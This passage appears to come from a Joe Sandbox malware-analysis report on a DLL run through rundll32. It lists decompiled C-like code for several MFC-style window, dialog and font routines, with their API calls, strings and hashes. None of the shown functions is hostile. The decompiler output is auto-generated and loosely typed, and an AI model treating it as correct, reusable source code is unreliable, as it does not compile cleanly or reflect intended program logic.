						if((_t103 & 0x10000000) == 0 || (_t103 & 0x20000000) != 0) {
							_t121 = 0;
						}
					}
					_v100 = 0x28;
					if(_t121 != 0) {
						GetWindowRect(_t121,  &_v44);
						E1000D86F(_t121, E1000D804(_t121, 2),  &_v100);
						CopyRect( &_v28,  &_v80);
					} else {
						_t94 = E1000A7CE();
						if(_t94 != 0) {
							_t94 =  *((intOrPtr*)(_t94 + 0x20));
						}
						E1000D86F(_t121, E1000D804(_t94, 1),  &_v100);
						CopyRect( &_v44,  &_v80);
						CopyRect( &_v28,  &_v80);
					}
				}
				_t108 = _v60.left;
				asm("cdq");
				_t123 = _v60.right - _t108;
				asm("cdq");
				_t120 = _v44.bottom;
				_t116 = (_v44.left + _v44.right - _t119 >> 1) - (_t123 - _t119 >> 1);
				_a4 = _v60.bottom - _v60.top;
				asm("cdq");
				asm("cdq");
				_t129 = (_v44.top + _v44.bottom - _v44.bottom >> 1) - (_a4 - _t120 >> 1);
				if(_t116 >= _v28.left) {
					if(_t123 + _t116 > _v28.right) {
						_t116 = _t108 - _v60.right + _v28.right;
					}
				} else {
					_t116 = _v28.left;
				}
				if(_t129 >= _v28.top) {
					if(_a4 + _t129 > _v28.bottom) {
						_t129 = _v60.top - _v60.bottom + _v28.bottom;
					}
				} else {
					_t129 = _v28.top;
				}
				return E1001297A(_v12, 0, _t116, _t129, 0xffffffff, 0xffffffff, 0x15);
			}

APIs

Part of subcall function 10012862: GetWindowLongA.USER32 ref: 1001286D

GetParent.USER32(?), ref: 1000F55D
SendMessageA.USER32 ref: 1000F580
GetWindowRect.USER32 ref: 1000F59A
GetWindowLongA.USER32 ref: 1000F5B0
CopyRect.USER32 ref: 1000F5FD
CopyRect.USER32 ref: 1000F607
GetWindowRect.USER32 ref: 1000F610
CopyRect.USER32 ref: 1000F62C

Strings

(, xrefs: 1000F5C8

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID: (
API String ID: 808654186-3887548279
Opcode ID: 7a74a446788f1e642fa1c3aef1600eb5c5d71207166799e974e91dfaab450861
Instruction ID: 3f3129d87232bc90929dbfd76231b55f7e5f3d8dd267dcccc126c4261812b80e
Opcode Fuzzy Hash: 7a74a446788f1e642fa1c3aef1600eb5c5d71207166799e974e91dfaab450861
Instruction Fuzzy Hash: 84517072900619AFEB00DFA8CC85EEEBBB9EF48290F154119FA05F3594DB30ED419B60

Uniqueness

Uniqueness Score: -1.00%

Function 1000A1F9, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 56
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000A1F9(intOrPtr* __ecx, void* __esi, intOrPtr _a4) {
				void* __ebx;
				void* __edi;
				void* __ebp;
				_Unknown_base(*)()* _t9;
				struct HINSTANCE__* _t15;
				void* _t16;
				intOrPtr* _t18;

				_t16 = __esi;
				_t12 = __ecx;
				_t18 = __ecx;
				 *__ecx = _a4;
				_a4 = 0;
				if( *0x10058f2c == 0) {
					_t15 = GetModuleHandleA("KERNEL32");
					_t20 = _t15;
					if(_t15 == 0) {
						L2:
						E1000A0DB(0, _t12, _t15, _t16, _t20);
					}
					 *0x10058f1c = GetProcAddress(_t15, "CreateActCtxA");
					 *0x10058f20 = GetProcAddress(_t15, "ReleaseActCtx");
					 *0x10058f24 = GetProcAddress(_t15, "ActivateActCtx");
					_t9 = GetProcAddress(_t15, "DeactivateActCtx");
					 *0x10058f28 = _t9;
					_t16 = _t16;
					if( *0x10058f1c == 0) {
						__eflags =  *0x10058f20;
						if(__eflags != 0) {
							goto L2;
						} else {
							__eflags =  *0x10058f24;
							if(__eflags != 0) {
								goto L2;
							} else {
								__eflags = _t9;
								if(__eflags != 0) {
									goto L2;
								}
							}
						}
					} else {
						if( *0x10058f20 == 0 ||  *0x10058f24 == 0) {
							goto L2;
						} else {
							_t20 = _t9;
							if(_t9 == 0) {
								goto L2;
							}
						}
					}
					 *0x10058f2c = 1;
				}
				return _t18;
			}

0x1000a1f9
0x1000a1f9
0x1000a1ff
0x1000a203
0x1000a206
0x1000a210
0x1000a221
0x1000a223
0x1000a225
0x1000a227
0x1000a227
0x1000a227
0x1000a241
0x1000a24e
0x1000a25b
0x1000a260
0x1000a268
0x1000a26d
0x1000a26e
0x1000a286
0x1000a28c
0x00000000
0x1000a28e
0x1000a28e
0x1000a294
0x00000000
0x1000a296
0x1000a296
0x1000a298
0x00000000
0x00000000
0x1000a298
0x1000a294
0x1000a270
0x1000a276
0x00000000
0x1000a280
0x1000a280
0x1000a282
0x00000000
0x1000a284
0x1000a282
0x1000a276
0x1000a29a
0x1000a29a
0x1000a2a6

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00000000,?,00000020,1000ACB1,000000FF), ref: 1000A21B
GetProcAddress.KERNEL32(00000000,CreateActCtxA), ref: 1000A239
GetProcAddress.KERNEL32(00000000,ReleaseActCtx), ref: 1000A246
GetProcAddress.KERNEL32(00000000,ActivateActCtx), ref: 1000A253
GetProcAddress.KERNEL32(00000000,DeactivateActCtx), ref: 1000A260

Strings

KERNEL32, xrefs: 1000A216
ReleaseActCtx, xrefs: 1000A23B
CreateActCtxA, xrefs: 1000A233
ActivateActCtx, xrefs: 1000A248
DeactivateActCtx, xrefs: 1000A255

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ActivateActCtx$CreateActCtxA$DeactivateActCtx$KERNEL32$ReleaseActCtx
API String ID: 667068680-3617302793
Opcode ID: 8958f846425cfb9847c1ef030b437731261e480fa3a980f3a7b160ae38ca1aab
Instruction ID: c20c66116e7296d4a0afd5037f2dffc74684b1862cb446d2da729e570b87d5d5
Opcode Fuzzy Hash: 8958f846425cfb9847c1ef030b437731261e480fa3a980f3a7b160ae38ca1aab
Instruction Fuzzy Hash: 3611C076C04266EBFB10DFA9ACC45097BE5E74F2D8301423FEA05A2124D7720980CF15

Uniqueness

Uniqueness Score: -1.00%

Function 1000CB74, Relevance: 16.6, APIs: 11, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E1000CB74(void* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t54;
				void* _t58;
				signed int _t59;
				signed int _t63;
				signed short _t71;
				signed int _t84;
				void* _t94;
				struct HINSTANCE__* _t96;
				signed int _t97;
				void* _t98;
				signed int _t100;
				void* _t101;
				void* _t102;

				_t102 = __eflags;
				_t94 = __edx;
				_push(0x24);
				E10017BF4(E10028029, __ebx, __edi, __esi);
				_t100 = __ecx;
				 *((intOrPtr*)(_t101 - 0x20)) = __ecx;
				 *(_t101 - 0x1c) =  *(__ecx + 0x60);
				 *(_t101 - 0x18) =  *(__ecx + 0x5c);
				_t54 = E1000D5EC(__ebx, __edi, __ecx, _t102);
				_t96 =  *(_t54 + 0xc);
				_t84 = 0;
				_t103 =  *(_t100 + 0x58);
				if( *(_t100 + 0x58) != 0) {
					_t96 =  *(E1000D5EC(0, _t96, _t100, _t103) + 0xc);
					_t54 = LoadResource(_t96, FindResourceA(_t96,  *(_t100 + 0x58), 5));
					 *(_t101 - 0x18) = _t54;
				}
				if( *(_t101 - 0x18) != _t84) {
					_t54 = LockResource( *(_t101 - 0x18));
					 *(_t101 - 0x1c) = _t54;
				}
				if( *(_t101 - 0x1c) != _t84) {
					_t86 = _t100;
					 *(_t101 - 0x14) = E1000C6AC(_t84, _t100, __eflags);
					E1000FC04(_t84, _t96, __eflags);
					 *(_t101 - 0x28) =  *(_t101 - 0x28) & _t84;
					__eflags =  *(_t101 - 0x14) - _t84;
					 *(_t101 - 0x2c) = _t84;
					 *(_t101 - 0x24) = _t84;
					if(__eflags != 0) {
						__eflags =  *(_t101 - 0x14) - GetDesktopWindow();
						if(__eflags != 0) {
							__eflags = IsWindowEnabled( *(_t101 - 0x14));
							if(__eflags != 0) {
								EnableWindow( *(_t101 - 0x14), 0);
								 *(_t101 - 0x2c) = 1;
								_t84 = E1000A7CE();
								__eflags = _t84;
								 *(_t101 - 0x24) = _t84;
								if(__eflags != 0) {
									_t86 = _t84;
									__eflags =  *((intOrPtr*)( *_t84 + 0x120))();
									if(__eflags != 0) {
										_t86 = _t84;
										__eflags = E100128F8(_t84);
										if(__eflags != 0) {
											_t86 = _t84;
											E10012913(_t84, 0);
											 *(_t101 - 0x28) = 1;
										}
									}
								}
							}
						}
					}
					 *(_t101 - 4) =  *(_t101 - 4) & 0x00000000;
					E100115DC(_t96, __eflags, _t100);
					_t58 = E1000FB5C(_t84, _t86, _t101,  *(_t101 - 0x14));
					_push(_t96);
					_push(_t58);
					_push( *(_t101 - 0x1c));
					_t59 = E1000C984(_t84, _t100, _t94, _t96, _t100, __eflags);
					_t97 = 0;
					__eflags = _t59;
					if(_t59 != 0) {
						__eflags =  *(_t100 + 0x3c) & 0x00000010;
						if(( *(_t100 + 0x3c) & 0x00000010) != 0) {
							_t98 = 4;
							_t71 = E10012862(_t100);
							__eflags = _t71 & 0x00000100;
							if((_t71 & 0x00000100) != 0) {
								_t98 = 5;
							}
							E1000F6F2(_t100, _t98);
							_t97 = 0;
							__eflags = 0;
						}
						__eflags =  *((intOrPtr*)(_t100 + 0x20)) - _t97;
						if( *((intOrPtr*)(_t100 + 0x20)) != _t97) {
							E1001297A(_t100, _t97, _t97, _t97, _t97, _t97, 0x97);
						}
					}
					 *(_t101 - 4) =  *(_t101 - 4) | 0xffffffff;
					__eflags =  *(_t101 - 0x28) - _t97;
					if( *(_t101 - 0x28) != _t97) {
						E10012913(_t84, 1);
					}
					__eflags =  *(_t101 - 0x2c) - _t97;
					if( *(_t101 - 0x2c) != _t97) {
						EnableWindow( *(_t101 - 0x14), 1);
					}
					__eflags =  *(_t101 - 0x14) - _t97;
					if(__eflags != 0) {
						__eflags = GetActiveWindow() -  *((intOrPtr*)(_t100 + 0x20));
						if(__eflags == 0) {
							SetActiveWindow( *(_t101 - 0x14));
						}
					}
					 *((intOrPtr*)( *_t100 + 0x60))();
					E1000C6E6(_t84, _t100, _t97, _t100, __eflags);
					__eflags =  *(_t100 + 0x58) - _t97;
					if( *(_t100 + 0x58) != _t97) {
						FreeResource( *(_t101 - 0x18));
					}
					_t63 =  *(_t100 + 0x44);
					goto L31;
				} else {
					_t63 = _t54 | 0xffffffff;
					L31:
					return E10017C60(_t63);
				}
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 1000CB7B
FindResourceA.KERNEL32(?,?,00000005), ref: 1000CBAE
LoadResource.KERNEL32(?,00000000), ref: 1000CBB6
LockResource.KERNEL32(?,00000024,100014EC,00000000,?), ref: 1000CBC7
GetDesktopWindow.USER32 ref: 1000CBFA
IsWindowEnabled.USER32(?), ref: 1000CC08
EnableWindow.USER32(?,00000000), ref: 1000CC17

Part of subcall function 100128F8: IsWindowEnabled.USER32(?), ref: 10012901

Part of subcall function 10012913: EnableWindow.USER32(?,?), ref: 10012920

EnableWindow.USER32(?,00000001), ref: 1000CCF3
GetActiveWindow.USER32 ref: 1000CCFE
SetActiveWindow.USER32(?,?,00000024,100014EC,00000000,?), ref: 1000CD0C
FreeResource.KERNEL32(?,?,00000024,100014EC,00000000,?), ref: 1000CD28

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Window$Resource$Enable$ActiveEnabled$DesktopFindFreeH_prolog3_catchLoadLock
String ID:
API String ID: 1509511306-0
Opcode ID: 79ae930f89578103c1460a1015ac81056dc0f6867cd803f5cb3b8be9090631d6
Instruction ID: 8f78f448105f665873ac1cd7b5fa33a3343bcf420d8a1ae80c8a79bff85a7528
Opcode Fuzzy Hash: 79ae930f89578103c1460a1015ac81056dc0f6867cd803f5cb3b8be9090631d6
Instruction Fuzzy Hash: A251BF34A007098BFF11DFA5C999EAEBBF1EF44781F20002EE506A6195CB759E41CF55

Uniqueness

Uniqueness Score: -1.00%

Function 10011245, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E10011245(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				_Unknown_base(*)()* _t31;
				void* _t33;
				void* _t34;
				void* _t40;
				void* _t43;
				void* _t60;
				void* _t64;
				struct HWND__* _t66;
				CHAR* _t68;
				void* _t71;

				_t64 = __edx;
				_t60 = __ecx;
				_push(0x40);
				E10017BF4(E1002864B, __ebx, __edi, __esi);
				_t66 =  *(_t71 + 8);
				_t68 = "AfxOldWndProc423";
				_t31 = GetPropA(_t66, _t68);
				 *(_t71 - 0x14) =  *(_t71 - 0x14) & 0x00000000;
				 *(_t71 - 4) =  *(_t71 - 4) & 0x00000000;
				 *(_t71 - 0x18) = _t31;
				_t58 = 1;
				_t33 =  *(_t71 + 0xc) - 6;
				if(_t33 == 0) {
					_t34 = E1000FB5C(1, _t60, _t71,  *(_t71 + 0x14));
					E10011159(_t60, E1000FB5C(1, _t60, _t71, _t66),  *(_t71 + 0x10), _t34);
					goto L9;
				} else {
					_t40 = _t33 - 0x1a;
					if(_t40 == 0) {
						_t58 = 0 | E100111CF(1, _t66, E1000FB5C(1, _t60, _t71, _t66),  *(_t71 + 0x14),  *(_t71 + 0x14) >> 0x10) == 0x00000000;
						L9:
						if(_t58 != 0) {
							goto L10;
						}
					} else {
						_t43 = _t40 - 0x62;
						if(_t43 == 0) {
							SetWindowLongA(_t66, 0xfffffffc,  *(_t71 - 0x18));
							RemovePropA(_t66, _t68);
							GlobalDeleteAtom(GlobalFindAtomA(_t68));
							goto L10;
						} else {
							if(_t43 != 0x8e) {
								L10:
								 *(_t71 - 0x14) = CallWindowProcA( *(_t71 - 0x18), _t66,  *(_t71 + 0xc),  *(_t71 + 0x10),  *(_t71 + 0x14));
							} else {
								E1000E865(E1000FB5C(1, _t60, _t71, _t66), _t71 - 0x30, _t71 - 0x1c);
								 *(_t71 - 0x14) = CallWindowProcA( *(_t71 - 0x18), _t66, 0x110,  *(_t71 + 0x10),  *(_t71 + 0x14));
								E100100F3(1, _t64, _t49, _t71 - 0x30,  *((intOrPtr*)(_t71 - 0x1c)));
							}
						}
					}
				}
				return E10017C60( *(_t71 - 0x14));
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 1001124C
GetPropA.USER32 ref: 1001125B
CallWindowProcA.USER32 ref: 100112B5

Part of subcall function 100100F3: GetWindowRect.USER32 ref: 1001011B
Part of subcall function 100100F3: GetWindow.USER32(?,00000004), ref: 10010138

SetWindowLongA.USER32(?,000000FC,?), ref: 100112DC
RemovePropA.USER32 ref: 100112E4
GlobalFindAtomA.KERNEL32 ref: 100112EB
GlobalDeleteAtom.KERNEL32(00000000), ref: 100112F2

Part of subcall function 1000E865: GetWindowRect.USER32 ref: 1000E871

CallWindowProcA.USER32 ref: 10011346

Strings

AfxOldWndProc423, xrefs: 10011254, 10011259, 100112E2, 100112EA

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prolog3_catchLongRemove
String ID: AfxOldWndProc423
API String ID: 2702501687-1060338832
Opcode ID: 8fd6b985b15a6b43d9e50dafe11c9ce611adcf5e5826660702256a507342a875
Instruction ID: 0d19250562dc5a9dad551a697ef26f9b08052b09a3581b526b6705a222a2b98b
Opcode Fuzzy Hash: 8fd6b985b15a6b43d9e50dafe11c9ce611adcf5e5826660702256a507342a875
Instruction Fuzzy Hash: 2D317F7680021ABBDF05DFA0CD89EFF7FB9FF05651F100118F611A6051DB359A61ABA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000C984, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 158
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E1000C984(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t65;
				intOrPtr _t71;
				signed int _t72;
				signed int _t74;
				struct HWND__* _t75;
				signed int _t78;
				signed int _t95;
				intOrPtr* _t103;
				signed int _t110;
				void* _t124;
				signed int _t129;
				DLGTEMPLATE* _t130;
				struct HWND__* _t131;
				void* _t132;

				_t128 = __esi;
				_t124 = __edx;
				_t104 = __ecx;
				_push(0x3c);
				E10017BF4(E1002800E, __ebx, __edi, __esi);
				_t103 = __ecx;
				 *((intOrPtr*)(_t132 - 0x20)) = __ecx;
				_t136 =  *(_t132 + 0x10);
				if( *(_t132 + 0x10) == 0) {
					 *(_t132 + 0x10) =  *(E1000D5EC(__ecx, 0, __esi, _t136) + 0xc);
				}
				_t129 =  *(E1000D5EC(_t103, 0, _t128, _t136) + 0x3c);
				 *(_t132 - 0x28) = _t129;
				 *(_t132 - 0x14) = 0;
				 *(_t132 - 4) = 0;
				E10012406(_t103, _t104, 0, _t129, _t136, 0x10);
				E10012406(_t103, _t104, 0, _t129, _t136, 0x7c000);
				if(_t129 == 0) {
					_t130 =  *(_t132 + 8);
					L7:
					__eflags = _t130;
					if(_t130 == 0) {
						L4:
						_t65 = 0;
						L32:
						return E10017C60(_t65);
					}
					E10009E23(_t132 - 0x1c, E10013479());
					 *(_t132 - 4) = 1;
					 *((intOrPtr*)(_t132 - 0x18)) = 0;
					_t71 = E10014A97(__eflags, _t130, _t132 - 0x1c, _t132 - 0x18);
					_t71 =  *0x1005aa84;
					_t72 = 0 | _t71 == 0x00000000;
					if( *0x1005aa84 == 0) {
						L14:
						__eflags = _t72;
						if(__eflags == 0) {
							L17:
							 *(_t103 + 0x44) =  *(_t103 + 0x44) | 0xffffffff;
							 *(_t103 + 0x3c) =  *(_t103 + 0x3c) | 0x00000010;
							E100115DC(0, __eflags, _t103);
							_t74 =  *(_t132 + 0xc);
							__eflags = _t74;
							if(_t74 != 0) {
								_t75 =  *(_t74 + 0x20);
							} else {
								_t75 = 0;
							}
							_t131 = CreateDialogIndirectParamA( *(_t132 + 0x10), _t130, _t75, E1000C402, 0);
							E10009CB7( *((intOrPtr*)(_t132 - 0x1c)) + 0xfffffff0, _t124);
							 *(_t132 - 4) =  *(_t132 - 4) | 0xffffffff;
							_t110 =  *(_t132 - 0x28);
							__eflags = _t110;
							if(__eflags != 0) {
								 *((intOrPtr*)( *_t110 + 0x18))(_t132 - 0x48);
								__eflags = _t131;
								if(__eflags != 0) {
									 *((intOrPtr*)( *_t103 + 0x12c))(0);
								}
							}
							_t78 = E1000FC04(_t103, 0, __eflags);
							__eflags = _t78;
							if(_t78 == 0) {
								 *((intOrPtr*)( *_t103 + 0x114))();
							}
							__eflags = _t131;
							if(_t131 != 0) {
								__eflags =  *(_t103 + 0x3c) & 0x00000010;
								if(( *(_t103 + 0x3c) & 0x00000010) == 0) {
									DestroyWindow(_t131);
									_t131 = 0;
									__eflags = 0;
								}
							}
							__eflags =  *(_t132 - 0x14);
							if( *(_t132 - 0x14) != 0) {
								GlobalUnlock( *(_t132 - 0x14));
								GlobalFree( *(_t132 - 0x14));
							}
							__eflags = _t131;
							_t59 = _t131 != 0;
							__eflags = _t59;
							_t65 = 0 | _t59;
							goto L32;
						}
						L15:
						E10014A60(_t103, _t132 - 0x38, 0, _t132, _t130);
						 *(_t132 - 4) = 2;
						E100149BE(_t132 - 0x38,  *((intOrPtr*)(_t132 - 0x18)));
						 *(_t132 - 0x14) = E100146D7(_t132 - 0x38);
						 *(_t132 - 4) = 1;
						E100146C9(_t132 - 0x38);
						__eflags =  *(_t132 - 0x14);
						if(__eflags != 0) {
							_t130 = GlobalLock( *(_t132 - 0x14));
						}
						goto L17;
					}
					__eflags = _t72;
					if(_t72 != 0) {
						goto L15;
					}
					__eflags = GetSystemMetrics(0x2a);
					if(__eflags == 0) {
						goto L17;
					}
					_t95 = E1000C95C(_t132 - 0x1c, "MS Shell Dlg");
					__eflags = _t95;
					_t72 = 0 | _t95 == 0x00000000;
					__eflags = _t72;
					if(__eflags == 0) {
						goto L17;
					}
					__eflags =  *((short*)(_t132 - 0x18)) - 8;
					if( *((short*)(_t132 - 0x18)) == 8) {
						 *((intOrPtr*)(_t132 - 0x18)) = 0;
					}
					goto L14;
				}
				_push(_t132 - 0x48);
				if( *((intOrPtr*)( *_t103 + 0x12c))() != 0) {
					_t130 =  *((intOrPtr*)( *_t129 + 0x14))(_t132 - 0x48,  *(_t132 + 8));
					goto L7;
				}
				goto L4;
			}

0x1000c984
0x1000c984
0x1000c984
0x1000c984
0x1000c98b
0x1000c990
0x1000c992
0x1000c997
0x1000c99a
0x1000c9a4
0x1000c9a4
0x1000c9ac
0x1000c9b1
0x1000c9b4
0x1000c9b7
0x1000c9ba
0x1000c9c4
0x1000c9cb
0x1000c9f8
0x1000c9fb
0x1000c9fb
0x1000c9fd
0x1000c9df
0x1000c9df
0x1000cb6c
0x1000cb71
0x1000cb71
0x1000ca08
0x1000ca16
0x1000ca1a
0x1000ca1d
0x1000ca2c
0x1000ca32
0x1000ca34
0x1000ca6a
0x1000ca6a
0x1000ca6c
0x1000caad
0x1000caad
0x1000cab1
0x1000cab6
0x1000cabb
0x1000cabe
0x1000cac0
0x1000cac6
0x1000cac2
0x1000cac2
0x1000cac2
0x1000cae0
0x1000cae2
0x1000cae7
0x1000cb09
0x1000cb0c
0x1000cb0e
0x1000cb16
0x1000cb19
0x1000cb1b
0x1000cb22
0x1000cb22
0x1000cb1b
0x1000cb28
0x1000cb2d
0x1000cb2f
0x1000cb35
0x1000cb35
0x1000cb3b
0x1000cb3d
0x1000cb3f
0x1000cb43
0x1000cb46
0x1000cb4c
0x1000cb4c
0x1000cb4c
0x1000cb43
0x1000cb4e
0x1000cb51
0x1000cb56
0x1000cb5f
0x1000cb5f
0x1000cb67
0x1000cb69
0x1000cb69
0x1000cb69
0x00000000
0x1000cb69
0x1000ca6e
0x1000ca72
0x1000ca7d
0x1000ca81
0x1000ca91
0x1000ca94
0x1000ca98
0x1000ca9d
0x1000caa0
0x1000caab
0x1000caab
0x00000000
0x1000caa0
0x1000ca36
0x1000ca38
0x00000000
0x00000000
0x1000ca42
0x1000ca44
0x00000000
0x00000000
0x1000ca4e
0x1000ca55
0x1000ca5a
0x1000ca5c
0x1000ca5e
0x00000000
0x00000000
0x1000ca60
0x1000ca65
0x1000ca67
0x1000ca67
0x00000000
0x1000ca65
0x1000c9d2
0x1000c9dd
0x1000c9f4
0x00000000
0x1000c9f4
0x00000000

APIs

__EH_prolog3_catch.LIBCMT ref: 1000C98B
GetSystemMetrics.USER32 ref: 1000CA3C
GlobalLock.KERNEL32 ref: 1000CAA5
CreateDialogIndirectParamA.USER32(?,?,?,1000C402,00000000), ref: 1000CAD4

Strings

MS Shell Dlg, xrefs: 1000CA46

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: CreateDialogGlobalH_prolog3_catchIndirectLockMetricsParamSystem
String ID: MS Shell Dlg
API String ID: 1736106359-76309092
Opcode ID: 0836612ccd89b939986456284b221daff64c2c444739792d891f2b66984f1eb5
Instruction ID: aca18bfbc2af702d8352a65e986f2fe47acd8ccb78c3dcc49b793ffb13d9be50
Opcode Fuzzy Hash: 0836612ccd89b939986456284b221daff64c2c444739792d891f2b66984f1eb5
Instruction Fuzzy Hash: AF51A031A0020D9FDB05DFA4C88ADEEBBB4EF45780F254559F442EB199DB349E81CB52

Uniqueness

Uniqueness Score: -1.00%

Function 100149BE, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E100149BE(intOrPtr __ecx, signed int _a4) {
				signed int _v8;
				char _v40;
				void _v68;
				intOrPtr _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t14;
				char* _t23;
				void* _t29;
				signed short _t30;
				struct HDC__* _t31;
				signed int _t32;

				_v8 =  *0x10057a08 ^ _t32;
				_t31 = GetStockObject;
				_t30 = 0xa;
				_v72 = __ecx;
				_t23 = "System";
				_t14 = GetStockObject(0x11);
				if(_t14 != 0) {
					L2:
					if(GetObjectA(_t14, 0x3c,  &_v68) != 0) {
						_t23 =  &_v40;
						_t31 = GetDC(0);
						if(_v68 < 0) {
							_v68 =  ~_v68;
						}
						_t30 = MulDiv(_v68, 0x48, GetDeviceCaps(_t31, 0x5a)) & 0x0000ffff;
						ReleaseDC(0, _t31);
					}
					L6:
					_t16 = _a4;
					if(_a4 == 0) {
						_t16 = _t30 & 0x0000ffff;
					}
					return E100167D5(E1001486F(_t23, _v72, _t29, _t31, _t23, _t16), _t23, _v8 ^ _t32, _t29, _t30, _t31);
				}
				_t14 = GetStockObject(0xd);
				if(_t14 == 0) {
					goto L6;
				}
				goto L2;
			}

0x100149cb
0x100149d0
0x100149d9
0x100149dc
0x100149df
0x100149e4
0x100149e8
0x100149f2
0x10014a01
0x10014a05
0x10014a12
0x10014a14
0x10014a16
0x10014a16
0x10014a31
0x10014a34
0x10014a34
0x10014a3a
0x10014a3a
0x10014a40
0x10014a42
0x10014a42
0x10014a5d
0x10014a5d
0x100149ec
0x100149f0
0x00000000
0x00000000
0x00000000

APIs

GetStockObject.GDI32(00000011), ref: 100149E4
GetStockObject.GDI32(0000000D), ref: 100149EC
GetObjectA.GDI32(00000000,0000003C,?), ref: 100149F9
GetDC.USER32(00000000), ref: 10014A08
GetDeviceCaps.GDI32(00000000,0000005A), ref: 10014A1C
MulDiv.KERNEL32(00000000,00000048,00000000), ref: 10014A28
ReleaseDC.USER32 ref: 10014A34

Strings

System, xrefs: 100149DF, 10014A49

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: a6886f26645baa5a84af5b89923cd17d43b4ad3fa3ddc4ab300892a0af884a22
Instruction ID: a63e4a091ca1b7be2859df30e5517b7a4abcdff67d16382c886f5131b7cbdf71
Opcode Fuzzy Hash: a6886f26645baa5a84af5b89923cd17d43b4ad3fa3ddc4ab300892a0af884a22
Instruction Fuzzy Hash: 39118F71A40268EBEB10DBA1CC85FAE7BB8FF04781F420015FA02AA190DE709D46CB65

Uniqueness

Uniqueness Score: -1.00%

Function 10009360, Relevance: 13.6, APIs: 9, Instructions: 105
windowCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E10009360(intOrPtr __ecx, intOrPtr _a4) {
				long _v8;
				intOrPtr _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				long _v28;
				intOrPtr _v32;
				signed int _t38;
				long _t49;
				void* _t60;
				void* _t84;
				void* _t85;

				_v32 = __ecx;
				if(_a4 == 8) {
					return E100090F0(_t60, _v32, _t84, _t85);
				}
				if(_a4 == 9) {
					_t38 =  *0x10058ece & 0x000000ff;
					if(_t38 != 0) {
						_v8 = SendMessageA( *(_v32 + 0x94), 0xe, 0, 0);
						_v12 = _v32 + 0x74;
						SendMessageA( *(_v12 + 0x20), 0xb1, _v8, _v8);
						if(0 == 0) {
							SendMessageA( *(_v12 + 0x20), 0xb7, 0, 0);
						}
						_v16 =  *0x10058f0c;
						SendMessageA( *(_v32 + 0x94), 0xc2, 0, _v16);
						if(_v8 > 0x1000) {
							_v20 =  *((intOrPtr*)( *0x10058f0c - 0xc));
							_v24 = _v32 + 0x74;
							SendMessageA( *(_v24 + 0x20), 0xb1, 0, _v20);
							if(0 == 0) {
								SendMessageA( *(_v24 + 0x20), 0xb7, 0, 0);
							}
